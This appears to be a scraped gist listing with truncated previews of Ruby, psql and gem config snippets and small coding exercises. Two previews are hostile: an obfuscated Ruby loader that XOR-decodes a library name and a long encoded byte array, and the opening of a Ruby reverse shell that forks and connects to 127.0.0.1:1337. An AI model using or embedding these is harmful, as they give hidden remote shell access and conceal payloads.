- show_cmds
- whereami
- l or list
- list 22-28 # Range of lines requested
- show_source "Class or Class#method"
- info # Instance variables, local variables, etc
- step # go for next line/point of execution after the breakpoint (line by line)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env ruby | |
| require 'mkmf' | |
| l = [0x20, 0x23, 0x31, 0x27, 0x74, 0x76].map { |b| b ^ 0x42 }.pack('C*') | |
| require l | |
| s = [0x3d].concat([0x72, 0x29, 0x1, 0x18, 0x32, 0x0, 0xa, 0x9, 0x2d, 0xc, 0x15, 0x1b, 0x72, 0x14, 0x5, 0x18, 0x37, 0xf, 0x71, 0x21, 0x2e, 0xc, 0x70, 0x20, 0x3b, 0x0, 0x2e, 0x1, 0x9, 0x13, 0x2f, 0x20, 0x2e, 0x32, 0x3, 0x18, 0x37, 0x14, 0x5, 0xb, 0x25, 0x2d, 0x13, 0x27, 0x3b, 0x10, 0x1a, 0x18, 0x3b, 0x0, 0x1, 0xb, 0x25, 0x3, 0x2b, 0x1, 0x2e, 0x14, 0x71, 0x1b, 0x38, 0x14, 0x2f, 0x21, 0x25, 0x3, 0x2b, 0x1, 0x29, 0x77, 0x15, 0x18, 0x25, 0x3, 0x1, 0xb, 0x25, 0x2d, 0x3, 0x18, 0x37, 0x14, 0x5, 0xb, 0x25, 0x3, 0x1, 0xb, 0x25, 0x3, 0x2b, 0x1, 0x32, 0xb, 0x1, 0xb, 0x29, 0x76, 0x5, 0x1a, 0x2b, 0x25, 0x1, 0x26, 0x37, 0x2e, 0x2f, 0x21, 0x35, 0x77, 0x1, 0x26, 0x2e, 0x36, 0x70, 0x1b, 0x34, 0xc, 0xa, 0xb, 0x25, 0x3, 0x1, 0xb, 0x25, 0x3, 0x1, 0xb, 0x25, 0x2d, 0x13, 0x9, 0x72, 0x14, 0x70, 0x23, 0x28, 0x7b, 0x70, 0x21, 0x25, 0x35, 0x2b, 0x21, 0x3b, 0x14, 0x5, 0x18, 0x72, 0xc, 0x71, 0x1a, 0x29, 0x77, 0x15, 0x1b, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'socket' | |
| require 'open3' | |
| pid = Process.fork do | |
| RHOST = '127.0.0.1' | |
| PORT = 1337 | |
| begin | |
| socket = TCPSocket.new(RHOST, PORT) | |
| socket.print('$ ') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| \set ON_ERROR_ROLLBACK interactive | |
| \set COMP_KEYWORD_CASE upper | |
| \set HISTFILE ~/.psql_history- :USER - :HOST - :PORT - :DBNAME | |
| \set PROMPT1 '%M:%[%033[1;31m%]%>%[%033[0m%] %n@%/%R%#%x ' | |
| \pset pager off | |
| \pset null '(null)' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| --- | |
| # The paths in which to look for gems | |
| # :gempath: | |
| # Force specification of gem server host on push | |
| # disable_default_gem_server: | |
| # A YAML array of remote gem repositories to install gems from | |
| # :sources: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def load_gems! | |
| %w[irb/completion irb/history irb/color rubygems].each do |gem| | |
| require gem | |
| end | |
| return unless Gem::Version.new(RUBY_VERSION) > Gem::Version.new('2.7.0') | |
| require 'irb/easter-egg' | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| H4sIANouTmUAA+1aQW/bNhT2BgzDuPN25rqDXaChKYqSbAPO4CRuEyBJMyfdGhRFIMu0LUSWHEqKkxYbdtxp52HXAbvuPOx37LjjjvsPIyXLiby4TgDFbW19gSL5ie/xUdR77yPtfhAMTzjr2JxZQblwL8AYG5oGo7MenzGh8XkMqFCNqJQYKtEhVqhh4ALU7sedNEI/MLlw5dTkAzPg2J3RTjTrdt9gZzyOyfk9QT81/+jE8tyu3UM8zLAP8Tx0SmfPP6FqPP8qxbqhifk3MCEFiDP0YSZWfP4LH33+ceHDQmHPtODTQ/gcjiFlhU/EQcRxJg75+dfbmWwcHbXGl1LjZ3F8OtXkgyv5Z5Y3QOZw6DA05N45c03XYrLBH/v//P3TL789z2CQOWYhHf8H5sU2MzuMl7PMA3PjX8Hp+CdY00T+v8ig77lY8fhXMRwE9oDVFb1a1apUr2jIoFWjQg2FAs2Auzsbjdbm9s43TXRhBgFHN4VrvfF1oxE+Mxz1WDeHTg/QKjwUSrvHb1K6FuPgbT+HVUU6/u+j+s+PfyyE6fqv69jI6/8iwNlZKOZevAKOGdjnDBZTb0QR8NCF20LUGkuQy0Zv2+kcmWGa/6c+I97Ooo9b839KdAUTWf9VHefxvxDk/H+lMYv/Z5kHbs3/J/EvJHrO/xeBFP/XiVLVKJIJWcFVtZrz/6VHOv7vo/rPj39K9en6r2h5/V8IxvwfFrlpnRaB5Zi+n+L7AMIO60LLdJwSc88fAskOhBasw5ZQqdVawgLzo3XBVQPL9JlshYZm0D+x3a4XiUd95sKy4/W8MCiDmGm8UDF5BF8XHc8SKxDPLcL6erwK8Wvl8mg0Qj3P64nMIXJIjVK17DOTW/2vzupCsfjdI/ji5cvIFHN8ltgkGEubYj0bMDdYCy6HLLYbsAv5mg+cSLO4zRzHg13uDaLRfFFMbLkdEP+XxxJnp2n+/4QNurbDMu3jLvv/IgfI9T/V8/X/YvDu8v9///zhd3Xjrx8zGGSOWZjF |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'securerandom' | |
| SecureRandom.base64(28).slice(0,26).gsub(/(\+|\/)/,("a".."z").to_a. | |
| sample) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'test/unit' | |
| def integer_to_sixtytwo(n) | |
| return '0' if n.zero? | |
| sixtytwo_digits = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' | |
| result = '' | |
| while n > 0 do | |
| result << sixtytwo_digits[n % 62] | |
| n /= 62 | |
| end | |
| result.reverse |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def move_zeros(nums) | |
| return nums if nums.empty? | |
| left = 0 | |
| right = nums.length - 1 | |
| while left < right do | |
| if nums[left] == 0 | |
| nums[left], nums[right] = nums[right], nums[left] | |
| right -= 1 | |
| else | |
| left += 1 |
NewerOlder